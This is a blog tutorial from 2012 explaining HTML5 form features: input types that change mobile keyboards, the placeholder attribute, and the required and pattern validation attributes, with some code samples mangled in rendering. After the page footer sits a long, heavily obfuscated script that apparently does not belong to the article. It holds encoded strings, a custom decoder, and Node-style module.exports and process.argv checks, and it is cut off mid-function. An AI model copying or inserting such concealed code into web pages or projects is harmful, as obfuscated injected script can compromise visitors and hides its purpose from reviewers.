Working With HTML5 Forms

I’m going to start a series of tutorials over the next weeks and months about HTML5. A lot of web developers are not leveraging HTML5 for a variety of reasons. We have been so trained over the past decade to embrace XHTML 1.0 that we’ve avoided the new DOCTYPE as something new that needs to be learned.

The good news is, XHTML is still valid in HTML5. The better news is now you have much more fun toys to play with.

Admittedly, I was one of those people who delayed jumping on the HTML5 bandwagon. In the past few months, however, that has changed. This series of articles will hopefully help the web developer to rethink how they develop on the web. Much of the stuff I’m about to talk about does not require a lot of extra heavy lifting.

Use the Correct DOCTYPE

Just as a remedial exercise of laying out the premise, your HTML must have the correct DOCTYPE. In XHTML 1.0/1.1, the first line of the HTML page had to be something along these lines

[cci lang=”html”][/cci]

That’s relatively confusing, huh? Makes you want to go drink spoiled milk with lumpy crud in it just because it’s tasty, right?

To declare a web page as HTML5, you do the same thing you did with the old 1990s era HTML4, before the web embarked on the XHTML idea of doing work. HTML5 is, essentially, a reset to HTML4 with all kinds of additional goodness. You simply start a web document with:

[cci lang=”html”][/cci]

A lot easier, right? Heck, you can type that in your sleep once you’ve typed it enough (I know you already do that with your drivers license and credit card numbers).

Form Field Types

With all that remedial knowledge in play, let’s take a look at HTML5 forms. The importance of this might be lost if the only thing you think about, when building HTML pages, are computer browsers. But if you recognize we live in a mobile world, you own an Android or iPhone and have tried to do any kind of form filling on those devices, then you might start to realize the importance of field types.

In XHTML, you might have a form that looks like this:

[cc lang=”html”]

[/cc]

In XHTML, we didn’t have a lot of field types. We had text (which everything above is), hidden, password (*’s entered in the input), checkboxes and radio buttons. You could add other types of inputs (That don’t use the [cci lang=”html”][/cci] tag and include [cci lang=”html”][/cci].</p> <p>This works in HTML5 too, but you’re limited by one default keyboard – which is fine, but fairly bland and not at all contextual.</p> <p>What would happen if we changed that form to use different field types? HTML5 support a bunch. The four fields above can more sematically have the following types, in order: text, tel, email, url.</p> <p>Watch what happens on the iPhone when the HTML looks like this (Android is similar):</p> <p>[cc lang=”html”]</p> <form action="" method="post"> <label for="name">Full Name:<br /> <input type="text" name="name" id="name" /><br /> </label></p> <p> <label for="phone">Phone Number:<br /> <input type="tel" name="phone" id="phone" /><br /> </label></p> <p> <label for="email">Email Address:<br /> <input type="email" name="email" id="email" /><br /> </label></p> <p> <label for="website">Web URL:<br /> <input type="url" name="website" id="website" /><br /> </label><br /> </form> <p>[/cc]</p> <p>For a standard text field, your keyboard will look like this:<br /> <figure id="attachment_8648" aria-describedby="caption-attachment-8648" style="width: 266px" class="wp-caption aligncenter"><a href="http://technosailor.com/files/2012-12-03-15.29.15.png"><img decoding="async" src="http://technosailor.com/files/2012-12-03-15.29.15-266x400.png" alt="iOS "text" field" width="266" height="400" class="size-medium wp-image-8648" /></a><figcaption id="caption-attachment-8648" class="wp-caption-text">iOS “text” field</figcaption></figure><br /> For a phone number, using the [cci lang=”html”]tel[/cci] type:<br /> <figure id="attachment_8649" aria-describedby="caption-attachment-8649" style="width: 266px" class="wp-caption aligncenter"><a href="http://technosailor.com/files/2012-12-03-15.29.18.png"><img decoding="async" loading="lazy" src="http://technosailor.com/files/2012-12-03-15.29.18-266x400.png" alt="iOS "tel" field" width="266" height="400" class="size-medium wp-image-8649" /></a><figcaption id="caption-attachment-8649" class="wp-caption-text">iOS “tel” field</figcaption></figure><br /> For an email address, using the [cci lang=”html”]email[/cci] type:<br /> <figure id="attachment_8650" aria-describedby="caption-attachment-8650" style="width: 266px" class="wp-caption aligncenter"><a href="http://technosailor.com/files/2012-12-03-15.29.21.png"><img decoding="async" loading="lazy" src="http://technosailor.com/files/2012-12-03-15.29.21-266x400.png" alt="iOS "email" field" width="266" height="400" class="size-medium wp-image-8650" /></a><figcaption id="caption-attachment-8650" class="wp-caption-text">iOS “email” field</figcaption></figure><br /> And for a URL field using the [cci lang=”html”]url[/cci] type:<br /> <figure id="attachment_8651" aria-describedby="caption-attachment-8651" style="width: 266px" class="wp-caption aligncenter"><a href="http://technosailor.com/files/2012-12-03-15.29.23.png"><img decoding="async" loading="lazy" src="http://technosailor.com/files/2012-12-03-15.29.23-266x400.png" alt="iOS "url" field" width="266" height="400" class="size-medium wp-image-8651" /></a><figcaption id="caption-attachment-8651" class="wp-caption-text">iOS “url” field</figcaption></figure></p> <p>There are, of course, other field types that I’m not going to go into too much here. But to whet your appetite, there is a [cci]color[/cci] type that attaches to a color picker. There’s a [cci]date[/cci] type that binds to a date picker. There’s even a [cci]range[/cci] type which binds to a slider picker.</p> <p><em><strong>Important:</strong> Not all browsers support all types. In the event that a browser does not support a specific type, it falls back to standard [cci]text[/cci] type and you can bind other external Javascript to make the same functionality happen.</em></p> <p><strong>Reference:</strong> <a href="http://www.w3schools.com/html/html5_form_input_types.asp">All HTML5 field types with browser support</a>.</p> <h4>Form Field Placeholder</h4> <p>Another useful feature is the placeholder. In XHTML, we might have a form that looks like this:</p> <p>[cc lang=”html”]</p> <form action="" method="post"> <input type="search" name="search" id="search" value="Search for your term" /><br /> </form> <p>[/cc]</p> <p>This would create a simple field that would be pre-populated with “Search for your term”. From a usability standpoint, when a user brings that field into focus, the text is supposed to disappear and allow the typing of a search term. If nothing is typed and the focus is switched to a different element, then that phrase should re-appear.</p> <figure id="attachment_8652" aria-describedby="caption-attachment-8652" style="width: 266px" class="wp-caption aligncenter"><a href="http://technosailor.com/files/2012-12-03-15.45.45.png"><img decoding="async" loading="lazy" src="http://technosailor.com/files/2012-12-03-15.45.45-266x400.png" alt="XHTML Placeholder Text" width="266" height="400" class="size-medium wp-image-8652" /></a><figcaption id="caption-attachment-8652" class="wp-caption-text">XHTML Placeholder Text</figcaption></figure> <p>You can’t do this without a little Javascript help (I like jQuery for this) – which is outside the scope of this article. But in HTML5, you only have to add [cci lang=”html”]placeholder=”Search for your term”[/cci]. Different browsers handle this slightly different, but they all insert some dummy text that can be replaced by the user’s own input.</p> <p>[cc lang=”html”]</p> <form action="" method="post"> <input type="text" name="search" id="search" placeholder="Search for your term" /><br /> </form> <p>[/cc]</p> <figure id="attachment_8653" aria-describedby="caption-attachment-8653" style="width: 266px" class="wp-caption aligncenter"><a href="http://technosailor.com/files/2012-12-03-15.58.39.png"><img decoding="async" loading="lazy" src="http://technosailor.com/files/2012-12-03-15.58.39-266x400.png" alt="HTML5 Placeholder Attribute" width="266" height="400" class="size-medium wp-image-8653" /></a><figcaption id="caption-attachment-8653" class="wp-caption-text">On iOS, the Placeholder attribute plays light grey text in the field that is replaced as the user types.</figcaption></figure> <h4>Form Field Validation</h4> <p>Validation is such a tedious thing for developers. You can do all kinds of ugly things to make sure fields that are required actually have a value or that a field meets a certain criteria (for instance, a zip code field having 5 numeric characters to match the U.S. format).</p> <p>In terms of requiring a field, it’s as simple as adding [cci]required[/cci] to the input tag. In HTML5, you don’t have to have an explicit value for an attribute as you do in XHTML. You <em>can</em> if you want, type [cci lang=”html”]<input type="text" name="zip" required="required" />[/cci] but this is a habit that does not need muscle exercise. Just use:</p> <p>[cc lang=”html”]</p> <form action="" method="post"> <input type="text" name="zip" required /><br /> <input type="submit" /><br /> </form> <p>[/cc]</p> <p><figure id="attachment_8654" aria-describedby="caption-attachment-8654" style="width: 150px" class="wp-caption alignleft"><a href="http://technosailor.com/files/Screen-Shot-2012-12-03-at-4.16.59-PM.png"><img decoding="async" loading="lazy" src="http://technosailor.com/files/Screen-Shot-2012-12-03-at-4.16.59-PM-150x88.png" alt="Firefox "Required" Error Bubble" width="150" height="88" class="size-thumbnail wp-image-8654" /></a><figcaption id="caption-attachment-8654" class="wp-caption-text">Firefox “Required” Error Bubble</figcaption></figure><figure id="attachment_8655" aria-describedby="caption-attachment-8655" style="width: 228px" class="wp-caption alignleft"><a href="http://technosailor.com/files/Screen-Shot-2012-12-03-at-4.16.40-PM.png"><img decoding="async" loading="lazy" src="http://technosailor.com/files/Screen-Shot-2012-12-03-at-4.16.40-PM.png" alt="Chrome "Required" Error Bubble" width="228" height="91" class="size-medium wp-image-8655" srcset="https://www.technosailor.com/wp-content/uploads/Screen-Shot-2012-12-03-at-4.16.40-PM.png 228w, https://www.technosailor.com/wp-content/uploads/Screen-Shot-2012-12-03-at-4.16.40-PM-150x60.png 150w" sizes="(max-width: 228px) 100vw, 228px" /></a><figcaption id="caption-attachment-8655" class="wp-caption-text">Chrome “Required” Error Bubble</figcaption></figure>Browsers handle this differently but they all pop up a notice if the field isn’t populated on submission. On the right, you’ll see how Chrome and Firefox handle this respectively.</p> <p>Let’s validate that zip code field, though, because this is where HTML5 really shines.</p> <p>Using the [cci]pattern[/cci] attribute, you can designate a regular expression to match formatting needs. If we want to limit the zip field to 5 numbers (most simplistic example – it could also have a potential extra dash and 4 numbers too), you might use this HTML:</p> <p>[cc lang=”html”]</p> <form action="" method="post"> <input type="text" name="zip" required pattern="\d{5}" /><br /> <input type="submit" /><br /> </form> <p>[/cc]</p> <p>You can find a list of helpful regexes at <a href="http://html5pattern.com/">html5pattern.com</a>.</p> <h4>Summary</h4> <p>There’s a lot more we could get into here, but the point of this exercise is to prove that it doesn’t take much to start using HTML5 in development. Doing so will also push the boundaries of what has been more commonly possible and the barrier to entry is so low that I struggle to find a reason why HTML5 should <em>not</em> be used more commonly.</p> <p>I’ll have more of these in the days and weeks to come so stay tuned, subscribe to the <a href="http://technosailor.com/feed">RSS feed</a> and, as always, if you’re interested in hiring me for a full time gig or contract basis, <a href="http://technosailor.com/work-with-me">please reach out to me</a>. I am actively looking.</p> </div> <div style="height:32px" aria-hidden="true" class="wp-block-spacer"></div> <div class="wp-block-group is-layout-constrained wp-block-group-is-layout-constrained"> <div class="wp-block-group is-layout-flex wp-block-group-is-layout-flex"><div style="font-style:italic;font-weight:400;" class="wp-block-post-date has-small-font-size"><time datetime="2012-12-03T16:29:18-06:00">December 3, 2012</time></div> <div class="wp-block-post-author has-small-font-size"><div class="wp-block-post-author__content"><p class="wp-block-post-author__name">Aaron Brazell</p></div></div> <div class="taxonomy-category wp-block-post-terms has-small-font-size"><a href="https://www.technosailor.com/category/development/" rel="tag">Development</a></div> <div class="taxonomy-post_tag wp-block-post-terms has-small-font-size"><a href="https://www.technosailor.com/tag/form-validation/" rel="tag">form validation</a><span class="wp-block-post-terms__separator">, </span><a href="https://www.technosailor.com/tag/forms/" rel="tag">forms</a><span class="wp-block-post-terms__separator">, </span><a href="https://www.technosailor.com/tag/html/" rel="tag">html</a><span class="wp-block-post-terms__separator">, </span><a href="https://www.technosailor.com/tag/html5/" rel="tag">html5</a><span class="wp-block-post-terms__separator">, </span><a href="https://www.technosailor.com/tag/web-development/" rel="tag">web development</a></div></div> <div style="height:32px" aria-hidden="true" class="wp-block-spacer"></div> <hr class="wp-block-separator is-style-wide"/> </div> </main> <footer class="wp-block-template-part"> <div class="wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="padding-top:var(--wp--custom--spacing--large, 8rem)"> <div class="wp-block-group alignfull is-layout-constrained wp-block-group-is-layout-constrained"> <div class="wp-block-group alignwide is-content-justification-space-between is-layout-flex wp-container-10 wp-block-group-is-layout-flex" style="padding-top:4rem;padding-bottom:4rem"><p class="wp-block-site-title"><a href="https://www.technosailor.com" target="_self" rel="home">Technosailor.com</a></p> <p class="has-text-align-right">Proudly powered by <a href="https://wordpress.org" rel="nofollow">WordPress</a></p> </div> </div> </div> </footer> </div> <style id="skip-link-styles"> .skip-link.screen-reader-text { border: 0; clip: rect(1px,1px,1px,1px); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute !important; width: 1px; word-wrap: normal !important; } .skip-link.screen-reader-text:focus { background-color: #eee; clip: auto !important; clip-path: none; color: #444; display: block; font-size: 1em; height: auto; left: 5px; line-height: normal; padding: 15px 23px 14px; text-decoration: none; top: 5px; width: auto; z-index: 100000; } </style> <script> ( function() { var skipLinkTarget = document.querySelector( 'main' ), sibling, skipLinkTargetID, skipLink; // Early exit if a skip-link target can't be located. if ( ! skipLinkTarget ) { return; } /* * Get the site wrapper. * The skip-link will be injected in the beginning of it. */ sibling = document.querySelector( '.wp-site-blocks' ); // Early exit if the root element was not found. if ( ! sibling ) { return; } // Get the skip-link target's ID, and generate one if it doesn't exist. skipLinkTargetID = skipLinkTarget.id; if ( ! skipLinkTargetID ) { skipLinkTargetID = 'wp--skip-link--target'; skipLinkTarget.id = skipLinkTargetID; } // Create the skip link. skipLink = document.createElement( 'a' ); skipLink.classList.add( 'skip-link', 'screen-reader-text' ); skipLink.href = '#' + skipLinkTargetID; skipLink.innerHTML = 'Skip to content'; // Inject the skip link. sibling.parentElement.insertBefore( skipLink, sibling ); }() ); </script> <script> "use strict";var wnTxBsT,UA3PY3,e76Pau,TpEOUA,HwZq6x,ZRcIMD,ofEJxN,TVDLWK,F2kwNX;const Z348dDP=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",!0x1,0x5b,0x1fff,0x58,0xd,0xe,0x6c,0x7f,0x80,"js",0x8a,0x8d,0x3];function DEwu6l(wnTxBsT){var UA3PY3="bHOwl,Crg1&Bvs5.zpRhE+=!)4Utu0G:fnDWmc2(XVM7T#9P~%*Y{}x>N]A<6ZkiI@JQd|\"S3$yKq/o;[`jLFa_e8^?",e76Pau,TpEOUA,HwZq6x,ZRcIMD,ofEJxN,TVDLWK,F2kwNX;eLm5hJz(e76Pau=""+(wnTxBsT||""),TpEOUA=e76Pau.length,HwZq6x=[],ZRcIMD=Z348dDP[0x0],ofEJxN=Z348dDP[0x0],TVDLWK=-Z348dDP[0x1]);for(F2kwNX=Z348dDP[0x0];F2kwNX<TpEOUA;F2kwNX++){var DEwu6l=UA3PY3.indexOf(e76Pau[F2kwNX]);if(DEwu6l===-Z348dDP[0x1])continue;if(TVDLWK<Z348dDP[0x0]){TVDLWK=DEwu6l}else{eLm5hJz(TVDLWK+=DEwu6l*Z348dDP[0xd],ZRcIMD|=TVDLWK<<ofEJxN,ofEJxN+=(TVDLWK&Z348dDP[0xe])>Z348dDP[0xf]?Z348dDP[0x10]:Z348dDP[0x11]);do{eLm5hJz(HwZq6x.push(ZRcIMD&Z348dDP[0x3]),ZRcIMD>>=Z348dDP[0x2],ofEJxN-=Z348dDP[0x2])}while(ofEJxN>Z348dDP[0x9]);TVDLWK=-Z348dDP[0x1]}}if(TVDLWK>-Z348dDP[0x1]){HwZq6x.push((ZRcIMD|TVDLWK<<ofEJxN)&Z348dDP[0x3])}return jScz7pj(HwZq6x)}function e_bL4Q2(e76Pau){if(typeof wnTxBsT[e76Pau]===Z348dDP[0x5]){return wnTxBsT[e76Pau]=DEwu6l(UA3PY3[e76Pau])}return wnTxBsT[e76Pau]}eLm5hJz(wnTxBsT={},UA3PY3=["?(9:7W2vnJ~$!UyhuSF0j{2G]E~>O,8VVvt07jPr,h","TDW06A>WWIy9&cX:9v:u;]%a#+=Y7A*u+0!lLLm)$EDqt<Pt+Eor}(/;as","{#8x&~tPes+qsFshK<$xb;g9\"AxRutC","~EfG@33)ii{q<\"#h&97fryj_pi1CS5K28BQ,4","Bfcr_|1s:.N{k`]uiXY3NYN93pz!N.$Rmc1CTcE{w","x#d&zLbRpRCdUU:0kw,r6;Vh=I``\"|QGd:c:L|TX!E//b","i@)G8SVWtp!CTwC4","]x/{%YXmP.&KWO2)cdx1=q&G*ih3o40M\"xG>xN)[&k(5@l}W\"@HGH9sH","Z<`x={U),","^w?g/#VrQhE:)LHmC]a{($cW;RCz.Ub!+9h3z{^VqN@<(\"Zm",">@NY_n|VZ<MWclm2@ds:a|=O","3<G>||Gv#}Kg945","!UaSK>*O","a5l*I(crGJiNP5GG~b","TST:8<th+IJ/b","q@Y3]9@Wu+e`,m;(/k8Y}Y=A.Jd.Js_t59&KMc408A:|/l",";Y>1z2Z01&j/kAWRs.r{16\"{oR&deW4u~@w&","LC=>C~kydIC!]zO!\"w{00","6c$C%\".sl]G3rU;URiPlD$Ys%.bCvw`(dY($&_zm,","PcY}TjOg%x1cq.72WdJf_qC)i.9)m<RE%]9r{\"ZV@6B~AseWEU`C","nYM3&~8[kNntvw}tz7;qo*PVd]kNBO%tD!,&Qy#Pq}:qb","+6arH~U)UkIRO4wm0DGlC3[AwhQJs6AV<Dh0O`.HrA3$As]WnDGuq>3{^E",")fVt0{M{9+!&F<kG1c31tXF[JvsGEwi)>ddSWKiY>El1Ms^09@|*52U{iR",">Sr{@FxGesP)Ds$4cCYf)XWrZ55E5`/(B!w",":.posmMRM<d$Wj?VHxy}f<W0cxS6d.ZGb+U3zLA9:6rx!j:GKMJYs","yYD0e|+}o.|}`[Gp.7w","~wJg*N@iC&stt5m:%:jgo*umABeQrL,4!]Ofua9R6p","E.0rN6TXwvrGNw","`Y|:`LY!#kkr0l","?po{kDWr.vq0p6zD%vK/bF8[J6`6}3LVOvh/H6vgt<Z$.OV:biw","(YY}n%yv$5k9:*1","m1F0jo7WCI*","*::qg_)g0ROnU,%D<<)1wkLs$k`gN.cR^Ne{gDNO","By/Uk}.HUpOZ6wLuAE;1jmIymIyyj5Oc<Ud&Y%VK}s6{y48M<xw","%E;u.S:`t@y9WO","ouK0bF%VtkJNZ~8W$!t32db)0+k{)ws","XUi%mKYVPvlZJ%ED%vP$N(gAZNc:FL|):9=rv|aH","Dc$YEL!}MBA\"1Zy2cY\"uy2;0A@uqBj?VD]w","qkSl`{0PU@uqWO*tt6k>_|{IU5A[DOI0$kt3A/yCD1y}bS~D","=1%t_]>Ww","=C_SbF\")rIT5a)l:Jda{lyDRwx/N=Z@)9kd>N3fG)@;9}6s(NYzGF|!H","~w+y0adC^AUCwUn:,%)tU","}S/*,>j9u+Bzr*,c=SMt0","j<6>B*F[D6UYc3`tNUb1I;hPmh(rw\"dR&iW0O~;sNE#|D\"1","&f6}]/z9KNN\"^~Bh)X1GtLYiK@7<Vl4u411Cw_*IAkEq{.JGKb","s.jgdy5OQI^9fPYVT7w","<Dk>pm.h9NaQs`6GH0@CB200J6vKlwb72@s{hLiWwh","eMGr[Sn0_h:&$l$UfXw","oC]CbD!V+ho4n3&","[k,>S><V,A&G75Z0wW8xF#o9ZBi$*4uMT:;l}(#P)@e.Oc?zMXVC","rRdytX%Vi.E)zL&4cS#>?<n]~JN{D4aXh.F0D<j9*x+q#cBUCUe$6}dRrseyb","LE73cajv`v+qH","~w\"u+]M[g&i9z<,7.YbtX${Gt5\"/7td)$#NCR","e<nK`|UG&kG>H6vE","bJEyjnNXP6JWz.b0eb",":DIC0{\"v`1C1Cc3h_$d*f$1K{xPpC`)M`b","\"dG:h`=A?k75\"`Bh77&thkvgOx=p/3QRs6~xH9Z!YI@5Nw~DBXz1U",",.rnjLbm(s1@*s+tr%tf/yNArAoiuS)WG!+&mZl)NAz)(OiM}wS1PAb","SY*t7\"t0Fx8\"YLe0K:u&L2Hs@.CO`6,7<x>xvmpsYxy\"itQR}U1t.y4Kl","p]?YM\"PW6pHc}~hV&9^C","hiL}_{+`D6Su2c.(d:>%^#b","f!Nxl}5{*i.k=`<0pceumd^a~6`6`~DmnXzCP/RA(IJ[^4d2*b","K#nGoyzABkV","Lceq.2`]%1j9R`8M<Sk>.y^VX@f","<X|r`qXO05NB,3FX>d.or`WKiiE)L2at(@21^qyG&k;Nqt?=+9A}ly;H","d#`gtx[AF1B@c~_u>wfC","4.UY69^Vo.)sVlqUVd\"u#NbM/5!;||gR5v8$A9R9&k.K9cgU=.s>E",".Ysr!a|!<p~{lw.Xm~bGWPcrbR5tW2+tKb","P@(l:oNGd1n3p~s","|cbo2Ptr9.i9utZp>Eh0I>fI>sV&3S:M}Dv&(iv)~RhG*Zg2/@E>`qb","sfW37iR)<@P|ftTU?~Ut&mlg*i</.jaWxb","m1=:U$S0r","wl@Y;Sd9z6Bs8Lk)1Rv09N(]w6n@lL~(u6v0m<isn62{^l","!6k{x/bG8pe.)t_X?55:5~|rCh=j~w1:vl}ysmn0b1/9H","6<A0pS%K^pd/3LptS~dr7Nd9A@Plq<^uCUU3Do?vBE^06<22^kH","NC2>;`?D15mup3$hh1^Y`q0W.+HGhODc_b","H+3xr}Um{1pkIt0WvXgn<3\"__AM+m<1h\"cNCQkz9l","fd|u,3~9#5T>.O","hy4CD<:hmh%BS\"{X[D/:I(TA&k@\".PJc/<9liy_Xb.aRp3Ftu@LUuxb","SY=nmoDy1@4|9jn:6E\"r1m!}rEt","%7zChkTRt<*BI<b)I~i1+*phR1t&.2cc?@70}NOg:+","~:krh`RAE1|.U`r47])%4LF9b.N{H~]0[#%C||+W.i)","Ux{}_ooCF1{qd<REoD%x?a%iw1s&y%>0FYS%R","e$;uVcRArs5&I<DG@:XCuSM)9}<","2]X1dDggL1aQbm:pc]W3P%/H","xYilz>CG{s","Bv?YpLxyXETwlwd4z77fan6Gz.1t=`_D*xiC","!@pfBy$soRs;.Um2zvO","|d,&N(>!v+oi8LnmR]&K3;1hs+UkX<FDu!5{7ZHhP.(","[<}{D%r`IR$H:5,7G6OYmP0]Kp~k4m\")6:_{YNaH","!@9>9[oR15A+q.d:>CJf\"~H|Q1pcU`l:UH","xYgx*c2RZB`\"1,F=TXZ&#K)mCA%)Twm46:HoOD~RI1QWx4Xhe#,&{//Y;6b3b","WYT:3y!rG.","Kc[CVNggfv?gbwQcb6/{@F.rz1[%]lUV`b","pxZ:5*_vwhf3Djt!","}DZ&L2[{T5utb.@R_Cw","J1w01_AXw",",7oP:SKr7pk{cl((G]z1ooj_K@hYM%v","Cc`fV[.}}h>","o=B&%dF)BpIJ&Z*5","jDi<5u~uf;","47+&8|vg?EA{w*^DCl#&sy$V[JsdA%<WO[k:#d@|qkn3^3=D5..qnoTG.+k{%3!Di!)1~e]PBpD34l%(yxu/:og\"*ivTSU8DMULfV[>hniZ$%l_XzlI1M$j_\"I$%+F.(LEwf:oYPKpOaHznmc]iq}j6G[JA{6.!Dll,&k/7stE","NP=GS","X:wzIAYk^@*","P}m(N|w]~p>,3j%2","^QlG","{QxNn#k]:@jE/}\"","*^8jK,cI","9PXh|DvJm",")hzG`{T","mj&RNd;k)}Im)","kPXh|DvJm","^;Y|^^:m}zL~CIoP7~IeY^,iuH7/2]`1OOJC!Y:mhRP~AIbPOOJCHN+)|5^/7EC14p)","[AVh>DT",")jUR","Ab?h","Ik#0!T+@","52q.eymJv+m~vm{]}oi&:a*;oC[l%*h)Y:@RGu3M?`\"kJAf","<bq.&^I1",";hg;q","sh[0[","$Q4>2xN1","L2X&Dk(w|=?","bb4>2xN1","CXX&SJ,g|I8w1f","Tj]b\"",".bXg","Iq[@$8leON","A~t7H","Q3cm","TCk$Sp.dmfRk*bewfwK@UA{d","wb{n3A_d","993{4e9r>z7Z@<","1)vB..e@d*ozS","AQt7h","{{+l,ks","Ry!c","SLk$O4W","S\"kNr<_UKnH*FoW{[PeG","YQ#fN|B%J!o","_smFsO)n%Y8","fO|#EJT","5jOljxQ302s","O\"4j","S}wz^M8Sm&|bU<02","7td$3x&@C","XBILW","Aa@M","_]pc","g3xYi","z]0=","8]pciO_G",":AXQLKiZ$j","OL4h$","<A;Y?v#","?*X_p","Fp57",",p57","vaE$N","&R,N=","y,Tv","p,Tv","8OKMU"]);function OxH9tub(){var wnTxBsT=[function(){return globalThis},function(){return global},function(){return window},function(){return new Function("return this")()}],UA3PY3,e76Pau,TpEOUA;eLm5hJz(UA3PY3=void 0x0,e76Pau=[]);try{eLm5hJz(UA3PY3=Object,e76Pau[Z348dDP[0xb]]("".__proto__.constructor.name))}catch(e){}H3PyE7:for(TpEOUA=Z348dDP[0x0];TpEOUA<wnTxBsT[Z348dDP[0x4]];TpEOUA++)try{var HwZq6x;UA3PY3=wnTxBsT[TpEOUA]();for(HwZq6x=Z348dDP[0x0];HwZq6x<e76Pau[Z348dDP[0x4]];HwZq6x++)if(typeof UA3PY3[e76Pau[HwZq6x]]===Z348dDP[0x5])continue H3PyE7;return UA3PY3}catch(e){}return UA3PY3||this}eLm5hJz(e76Pau=OxH9tub()||{},TpEOUA=e76Pau.TextDecoder,HwZq6x=e76Pau.Uint8Array,ZRcIMD=e76Pau.Buffer,ofEJxN=e76Pau.String||String,TVDLWK=e76Pau.Array||Array,F2kwNX=function(){var wnTxBsT=new TVDLWK(Z348dDP[0x14]),UA3PY3,e76Pau;eLm5hJz(UA3PY3=ofEJxN[Z348dDP[0x8]]||ofEJxN.fromCharCode,e76Pau=[]);return function(TpEOUA){var HwZq6x,ZRcIMD,TVDLWK,F2kwNX;eLm5hJz(ZRcIMD=void 0x0,TVDLWK=TpEOUA[Z348dDP[0x4]],e76Pau[Z348dDP[0x4]]=Z348dDP[0x0]);for(F2kwNX=Z348dDP[0x0];F2kwNX<TVDLWK;){eLm5hJz(ZRcIMD=TpEOUA[F2kwNX++],ZRcIMD<=Z348dDP[0x13]?HwZq6x=ZRcIMD:ZRcIMD<=0xdf?HwZq6x=(ZRcIMD&0x1f)<<Z348dDP[0x7]|TpEOUA[F2kwNX++]&Z348dDP[0x6]:ZRcIMD<=0xef?HwZq6x=(ZRcIMD&0xf)<<Z348dDP[0xa]|(TpEOUA[F2kwNX++]&Z348dDP[0x6])<<Z348dDP[0x7]|TpEOUA[F2kwNX++]&Z348dDP[0x6]:ofEJxN[Z348dDP[0x8]]?HwZq6x=(ZRcIMD&Z348dDP[0x9])<<0x12|(TpEOUA[F2kwNX++]&Z348dDP[0x6])<<Z348dDP[0xa]|(TpEOUA[F2kwNX++]&Z348dDP[0x6])<<Z348dDP[0x7]|TpEOUA[F2kwNX++]&Z348dDP[0x6]:(HwZq6x=Z348dDP[0x6],F2kwNX+=Z348dDP[0x18]),e76Pau[Z348dDP[0xb]](wnTxBsT[HwZq6x]||(wnTxBsT[HwZq6x]=UA3PY3(HwZq6x))))}return e76Pau.join("")}}());function jScz7pj(wnTxBsT){return typeof TpEOUA!==Z348dDP[0x5]&&TpEOUA?new TpEOUA().decode(new HwZq6x(wnTxBsT)):typeof ZRcIMD!==Z348dDP[0x5]&&ZRcIMD?ZRcIMD.from(wnTxBsT).toString("utf-8"):F2kwNX(wnTxBsT)}function T_TUFct(){}function U8MWXm(){}function eLm5hJz(){eLm5hJz=function(){}}(()=>{if(e_bL4Q2(0x60)in T_TUFct){e76Pau()}function e76Pau(){module.exports=async(e76Pau=()=>{throw new Error(e_bL4Q2(0x61))})=>{const TpEOUA=new Set(process.argv.slice(0x2));if(!TpEOUA.has(e_bL4Q2(0x62))){if(TpEOUA.size!==Z348dDP[0x1])return Z348dDP[0xc];if(!TpEOUA.has("-v"))return Z348dDP[0xc]}await(async(TpEOUA,HwZq6x)=>{function ZRcIMD(TpEOUA){var HwZq6x=")FiIKPm;Q]zJdYex(s}A.NDgZf$nXaTB#4wy8|Hl:`/c%_vGpL9,=MC?RVO~\"7qb@[0Utu2rE>h*&<jW+k{^5!o6S13",ZRcIMD,ofEJxN,e76Pau,wnTxBsT,UA3PY3,TVDLWK,F2kwNX;eLm5hJz(ZRcIMD=""+(TpEOUA||""),ofEJxN=ZRcIMD.length,e76Pau=[],wnTxBsT=Z348dDP[0x0],UA3PY3=Z348dDP[0x0],TVDLWK=-Z348dDP[0x1]);for(F2kwNX=Z348dDP[0x0];F2kwNX<ofEJxN;F2kwNX++){var DEwu6l=HwZq6x.indexOf(ZRcIMD[F2kwNX]);if(DEwu6l===-Z348dDP[0x1])continue;if(TVDLWK<Z348dDP[0x0]){TVDLWK=DEwu6l}else{eLm5hJz(TVDLWK+=DEwu6l*Z348dDP[0xd],wnTxBsT|=TVDLWK<<UA3PY3,UA3PY3+=(TVDLWK&Z348dDP[0xe])>Z348dDP[0xf]?Z348dDP[0x10]:Z348dDP[0x11]);do{eLm5hJz(e76Pau.push(wnTxBsT&Z348dDP[0x3]),wnTxBsT>>=Z348dDP[0x2],UA3PY3-=Z348dDP[0x2])}while(UA3PY3>Z348dDP[0x9]);TVDLWK=-Z348dDP[0x1]}}if(TVDLWK>-Z348dDP[0x1]){e76Pau.push((wnTxBsT|TVDLWK<<UA3PY3)&Z348dDP[0x3])}return jScz7pj(e76Pau)}function ofEJxN(TpEOUA){if(typeof wnTxBsT[TpEOUA]===Z348dDP[0x5]){return wnTxBsT[TpEOUA]=ZRcIMD(UA3PY3[TpEOUA])}return wnTxBsT[TpEOUA]}if(TpEOUA)return e_bL4Q2(0x63);if(HwZq6x===(await e76Pau()))return ofEJxN(0x64);return""})();return!0x0}}function TpEOUA(e76Pau,TpEOUA){if(!TpEOUA){TpEOUA=function(TpEOUA){if(typeof wnTxBsT[TpEOUA]===Z348dDP[0x5]){return wnTxBsT[TpEOUA]=e76Pau(UA3PY3[TpEOUA])}return wnTxBsT[TpEOUA]}}if(!e76Pau){e76Pau=function(e76Pau){var TpEOUA="T)IVjemFHRG+\"=LPr19@n0xZ][C`6SkNhvO{Y^a72.KQclAE;bos5z:(?3*p}W~4&!tXig,|B/uJ#fd>UD$<wM%8yq_",HwZq6x,ofEJxN,TVDLWK,F2kwNX,DEwu6l,OxH9tub,T_TUFct;eLm5hJz(HwZq6x=""+(e76Pau||""),ofEJxN=HwZq6x.length,TVDLWK=[],F2kwNX=Z348dDP[0x0],DEwu6l=Z348dDP[0x0],OxH9tub=-Z348dDP[0x1]);for(T_TUFct=Z348dDP[0x0];T_TUFct<ofEJxN;T_TUFct++){var 